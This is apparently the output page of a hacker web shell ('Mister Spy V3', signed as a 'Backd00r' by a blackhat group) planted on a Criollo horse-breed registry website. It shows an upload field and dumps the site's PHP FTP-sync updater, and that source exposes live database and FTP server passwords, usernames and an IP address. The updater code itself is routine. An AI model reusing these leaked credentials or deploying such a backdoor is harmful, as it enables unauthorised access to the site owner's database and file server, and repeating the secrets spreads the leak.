Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/actualizador/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/actualizador/ftp.php

<?php

set_time_limit(99999999999);

class DB 
{
	static public function String($string)
	{		
		//return "'".addslashes(toHTML($string))."'";
		return "'".addslashes($string)."'";
	}
	
	static public function StringUnquoted($string)
	{
		return addslashes($string);
	}
	
	static public function Number($sNumber)
	{
		return (is_numeric($sNumber) ? $sNumber : 'NULL');
	}
	
	static public function ObtenerFecha($Date)
	{
		$Anio = substr($Date, 0, 4);
		$Mes = substr($Date, 4, 2);
		$Dia = substr($Date, 6, 2);
		return $Dia . '-' .$Mes. '-' .$Anio;
	}
	
	static public function Date($date)
	{/*
        if (($ret = DB::parseDate($date, '%Y-%m-%d %H:%M:%s')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d/%m/%Y %H:%M:%s')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d/%m/%Y %H:%M')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d/%m/%Y %H')) != false)
                return "'$ret'";
*/
        if (($ret = DB::parseDate($date, '%d/%m/%Y')) != false)
                return "'$ret'";
/*
        if (($ret = DB::parseDate($date, '%Y-%m-%d %H:%M:%s')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d-%m-%Y %H:%M:%s')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d-%m-%Y %H:%M')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%d-%m-%Y %H')) != false)
                return "'$ret'";
*/
        if (($ret = DB::parseDate($date, '%d-%m-%Y')) != false)
                return "'$ret'";
/*
        if (($ret = DB::parseDate($date, '%Y-%m-%d %H:%M')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%Y-%m-%d %H')) != false)
                return "'$ret'";

        if (($ret = DB::parseDate($date, '%Y-%m-%d')) != false)
                return "'$ret'";
*/
        return 'NULL';
	}

	
	static public function Bool($sBool)
	{
		if ($sBool == true || $sBool == 1)
			return '1';
		return '0';
	}

	static private function parseDate( $date, $format ) 
	{
		// Builds up date pattern from the given $format, keeping delimiters in place.
		if( !preg_match_all( "/%([YmdHMsu])([^%])*/", $format, $formatTokens, PREG_SET_ORDER ) ) 
			return false;
	
		foreach( $formatTokens as $formatToken ) 
		{
			$delimiter = preg_quote( $formatToken[2], "/" );
			if($formatToken[1] == 'Y') 
			{
				$datePattern .= '(.{1,4})'.$delimiter;
			} 
			elseif($formatToken[1] == 'u') 
			{
				$datePattern .= '(.{1,5})'.$delimiter;
			} 
			else 
			{
				$datePattern .= '(.{1,2})'.$delimiter;
			}
		}
		
		// Splits up the given $date
		if( !preg_match( "/^".$datePattern."/", $date, $dateTokens) ) 
		{
			return false;
		}
	  
		$dateSegments = array();
		for($i = 0; $i < count($formatTokens); $i++) 
		{
			$dateSegments[$formatTokens[$i][1]] = $dateTokens[$i+1];
		}
	
		// Reformats the given $date into rfc3339
		if( $dateSegments["Y"] && $dateSegments["m"] && $dateSegments["d"] ) 
		{
			if( ! checkdate ( $dateSegments["m"], $dateSegments["d"], $dateSegments["Y"] )) 
			{ 
				return false; 
			}
			
			$dateReformated =
			str_pad($dateSegments["Y"], 4, '0', STR_PAD_LEFT)
			."-".str_pad($dateSegments["m"], 2, '0', STR_PAD_LEFT)
			."-".str_pad($dateSegments["d"], 2, '0', STR_PAD_LEFT);
		} 
		else 
		{
			return false;
		}
	  
		if( $dateSegments["H"] && $dateSegments["M"] ) 
		{
			$dateReformated .=
			" ".str_pad($dateSegments["H"], 2, '0', STR_PAD_LEFT)
			.':'.str_pad($dateSegments["M"], 2, '0', STR_PAD_LEFT);
	
			if( $dateSegments["s"] ) 
			{
				$dateReformated .=
				":".str_pad($dateSegments["s"], 2, '0', STR_PAD_LEFT);
				if( $dateSegments["u"] ) 
				{
					$dateReformated .=
					'.'.str_pad($dateSegments["u"], 5, '0', STR_PAD_RIGHT);
				}
			}
		}
	
		return $dateReformated;
	}
}






$hostname_cnx = "localhost";
$Animalbase_cnx = "caballos_bd";
$username_cnx = "caballos_usuario";
$password_cnx = "V4kadl8xLdDR";
$cnx = mysql_pconnect($hostname_cnx, $username_cnx, $password_cnx) or trigger_error(mysql_error(),E_USER_ERROR);
mysql_select_db($Animalbase_cnx, $cnx);
/* funciones de trabajo con ftp */
function FTPConnect (&$IdConnection)
{
	global $FtpServer;
	global $FtpUser;
	global $FtpPass;
	global $GestorLogs;
	
	if ($IdConnection = ftp_connect($FtpServer))
	{
		$msg = date('d-m-Y | h:i:s');
		$msg.= " hs \n\r\t CONEXION: OK. \n\r";
		FileWrite($GestorLogs, $msg);
	}
	else
	{
		$msg = date('d-m-Y | h:i:s');
		$msg.= " hs \n\r\t ERROR DE CONEXION. NO SE PUDO CONECTAR AL FTP. \n\r";
		FileWrite($GestorLogs, $msg);
	}
	
	if (ftp_login($IdConnection, $FtpUser, $FtpPass))
	{
		$msg = "\t LOG IN: OK. \n\r";
		FileWrite($GestorLogs, $msg);
	}
	else
	{
		$msg = "\t ERROR DE LOGIN. NO SE PUDO CONECTAR AL FTP. \n\r";
		FileWrite($GestorLogs, $msg);
	}
	
	return(0);
}


function FTPClose($IdConnection)
{
	global $GestorLogs;
	
	ftp_close($IdConnection);
	
	$msg = "\t CONEXION CERRADA SATISFACTORIAMENTE. \n\n\r";
	FileWrite($GestorLogs, $msg);
	
	return(0);
}


function FTPChangeDir($IdConnection, $Dir)
{
	global $GestorLogs;
	
	if (ftp_chdir($IdConnection, $Dir))
	{
		$msg = "\t DIR CHANGE: " . $Dir . " - OK. \n\r";
		FileWrite($GestorLogs, $msg);
	}
	else
	{
		$msg = "\t ERROR DIR CHANGE: " . $Dir . " . \n\r";
		FileWrite($GestorLogs, $msg);
	}
	
	return(0);
}


function FTPListFileOrder($IdConnection)
{
	global $GestorLogs;
	$arr = array();
	
	if ($arr = ftp_nlist($IdConnection, "-t ."))
	{
		$msg = "\t ARCHIVOS LISTADOS CORRECTAMENTE. \n\n\r";
		FileWrite($GestorLogs, $msg);
	}
	else
	{
	
		$msg = "\t ERROR ARCHIVOS LISTADOS. \n\n\r";
		FileWrite($GestorLogs, $msg);
	}
	
	return $arr;
}


function FTPListFile($IdConnection)
{
	global $GestorLogs;
	$arr = array();
	
	if ($arr = ftp_nlist($IdConnection, "."))
	{
		$msg = "\t ARCHIVOS LISTADOS CORRECTAMENTE. \n\n\r";
		FileWrite($GestorLogs, $msg);
	}
	else
	{
	
		$msg = "\t ERROR ARCHIVOS LISTADOS. \n\n\r";
		FileWrite($GestorLogs, $msg);
	}
	
	return $arr;
}

function FTPDownload($IdConnection, $Gestor, $RemotFile)
{
	global $GestorLogs;
	
	if (ftp_fget($IdConnection, $Gestor, $RemotFile, FTP_ASCII)) 
	{
		$msg = "\t DOWNLOAD $RemotFile: EL ARCHIVO SE DESCARGO EXITOSAMENTE. \n\r";
		FileWrite($GestorLogs, $msg);
	} 
	else 
	{
		$msg = "\t DOWNLOAD $RemotFile: EL ARCHIVO NO SE DESCARGO EXITOSAMENTE. \n\r";
		FileWrite($GestorLogs, $msg);
	}
}

/* funciones de trabajo con archivos */
function FileCreate(&$Gestor, $FileName, $Mode)
{
	$Gestor = fopen($FileName, $Mode);
	
	return(0);
}

function FileClose($Gestor)
{
	fclose($Gestor);
	
	return(0);
}

function FileWrite($Gestor, $Content)
{
	fwrite($Gestor, $Content);
	print_r($Content . '<br>');
	return(0);
}

$FtpServer = "190.210.180.194";
$FtpUser = "Criolla";
$FtpPass = "Efetepe2020";

$IdConnection 		= '';
$GestorExis		 	= '';
$GestorPdre 		= '';
$GestorExtr		 	= '';
$GestorExpd		 	= '';
$GestorLogs 		= '';

FileCreate($GestorLogs, 'LogAccesos.txt', 'a');
FileCreate($GestorExis, 'accc/EXIS_2.txt', 'w');
FileCreate($GestorPdre, 'accc/PDRE.txt', 'w');
FileCreate($GestorExtr, 'accc/EXTR_2.txt', 'w');
FileCreate($GestorExpd, 'accc/EXPD_2.txt', 'w');


FTPConnect($IdConnection);

FTPChangeDir($IdConnection, "Criolla");
if ($arrDir = FTPListFileOrder($IdConnection))
{
	$last = '2020-09-08 1513';//$arrDir[0];
	FTPChangeDir($IdConnection, $last);
	
	if ($arrFiles = FTPListFile($IdConnection))
	{
		foreach ($arrFiles as $file)
		{
			if (strpos($file, 'HEMBRA') !== false)
			{
				FTPDownload($IdConnection, $GestorExis, $file);
			}
			elseif (strpos($file, 'MACHO') !== false)
			{
				FTPDownload($IdConnection, $GestorPdre, $file);
			}
			elseif (strpos($file, 'EXTR') !== false)
			{
				FTPDownload($IdConnection, $GestorExtr, $file);
			}
			elseif (strpos($file, 'EXPD') !== false)
			{
				FTPDownload($IdConnection, $GestorExpd, $file);
			}
		}
		
		$msg = "\t ACTUALIZANDO MACHOS... \n\n\r";
		FileWrite($GestorLogs, $msg);
		file_get_contents('http://www.caballoscriollos.com/espanol/actualizador/pdre_2.php');
		$msg = "\t MACHOS ACTUALIZADOS - OK. \n\n\r";
		FileWrite($GestorLogs, $msg);
				
		$msg = "\t ACTUALIZANDO HEMBRAS... \n\n\r";
		FileWrite($GestorLogs, $msg);
		file_get_contents('http://www.caballoscriollos.com/espanol/actualizador/exis.php');
		$msg = "\t HEMBRAS ACTUALIZADAS - OK. \n\n\r";
		FileWrite($GestorLogs, $msg);
				
		$msg = "\t ACTUALIZANDO EXTRANJEROS... \n\n\r";
		FileWrite($GestorLogs, $msg);
		file_get_contents('http://www.caballoscriollos.com/espanol/actualizador/extr.php');
		$msg = "\t EXTRANJEROS ACTUALIZADOS - OK. \n\n\r";
		FileWrite($GestorLogs, $msg);
				
		$msg = "\t ACTUALIZANDO PROPIETARIOS... \n\n\r";
		FileWrite($GestorLogs, $msg);
		file_get_contents('http://www.caballoscriollos.com/espanol/actualizador/propietarios.php');
		$msg = "\t PROPIETARIOS ACTUALIZADOS - OK. \n\n\r";
		FileWrite($GestorLogs, $msg);
				
			
		$msg = "\t ACTUALIZANDO RELACIONES... \n\n\r";
		FileWrite($GestorLogs, $msg);
		
		$queryUpdate = "UPDATE tblExtr e inner join tblPdre p on e.IdPa = p.IdProd SET e.ASOP = p.ASOC, e.HBAP = p.HBAE, e.RGSP = p.RGST, e.RPPD = p.RPEX WHERE e.HBAP IS NULL;";
		$sqlUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());

		$queryUpdate = "UPDATE tblExtr e inner join tblExis p on e.IdMa = p.IdProd SET e.ASOM = p.ASOC, e.HBAM = p.HBAE, e.RGSM = p.RGST, e.RPMD = p.RPEX WHERE e.HBAM IS NULL;";
		$sqlUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());

		$queryUpdate = "UPDATE tblExtr e inner join tblExtr p on e.IdPa = p.IdProd SET e.ASOP = p.ASOX, e.HBAP = p.HBAE, e.RPPD = p.RPEX WHERE e.HBAP IS NULL;";
		$sqlUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());

		$queryUpdate = "UPDATE tblExtr e inner join tblExtr p on e.IdMa = p.IdProd SET e.ASOM = p.ASOX, e.HBAM = p.HBAE, e.RPMD = p.RPEX WHERE e.HBAM IS NULL;";
		$sqlUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());


		$msg = "\t EXTRANJEROS OK... \n\n\r";
		FileWrite($GestorLogs, $msg);

		$queryUpdate = "UPDATE tblPdre e inner join tblPdre p on e.IdPa = p.IdProd SET e.ASOP = p.ASOC, e.HBAP = p.HBAE, e.RGSP = p.RGST, e.RPPD = p.RPEX WHERE e.HBAP IS NULL;";
		$sqlUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());

		$queryUpdate = "UPDATE tblPdre e inner join tblExis p on e.IdMa = p.IdProd SET e.ASOM = p.ASOC, e.HBAM = p.HBAE, e.RGSM = p.RGST, e.RPMD = p.RPEX WHERE e.HBAM IS NULL;";
		$sqlUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());

		$queryUpdate = "UPDATE tblPdre e inner join tblExtr p on e.IdPa = p.IdProd SET e.ASOP = p.ASOX, e.HBAP = p.HBAE, e.RPPD = p.RPEX WHERE e.HBAP IS NULL;";
		$sqlUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());

		$queryUpdate = "UPDATE tblPdre e inner join tblExtr p on e.IdMa = p.IdProd SET e.ASOM = p.ASOX, e.HBAM = p.HBAE, e.RPMD = p.RPEX WHERE e.HBAM IS NULL;";
		$sqlUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());


		$msg = "\t MACHOS OK... \n\n\r";
		FileWrite($GestorLogs, $msg);

		$queryUpdate = "UPDATE tblExis e inner join tblPdre p on e.IdPa = p.IdProd SET e.ASOP = p.ASOC, e.HBAP = p.HBAE, e.RGSP = p.RGST, e.RPPD = p.RPEX WHERE e.HBAP IS NULL;";
		$sqlUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());

		$queryUpdate = "UPDATE tblExis e inner join tblExis p on e.IdMa = p.IdProd SET e.ASOM = p.ASOC, e.HBAM = p.HBAE, e.RGSM = p.RGST, e.RPMD = p.RPEX WHERE e.HBAM IS NULL;";
		$sqlUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());

		$queryUpdate = "UPDATE tblExis e inner join tblExtr p on e.IdPa = p.IdProd SET e.ASOP = p.ASOX, e.HBAP = p.HBAE, e.RPPD = p.RPEX WHERE e.HBAP IS NULL;";
		$sqlUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());

		$queryUpdate = "UPDATE tblExis e inner join tblExtr p on e.IdMa = p.IdProd SET e.ASOM = p.ASOX, e.HBAM = p.HBAE, e.RPMD = p.RPEX WHERE e.HBAM IS NULL;";
		$sqlUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());
		FileWrite($GestorLogs, $msg);
				
		$msg = "\t ACTUALIZANDO RELACIONES - OK \n\n\r";
		FileWrite($GestorLogs, $msg);
				
				
	}
}

FTPClose($IdConnection);

FileClose($GestorLogs);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat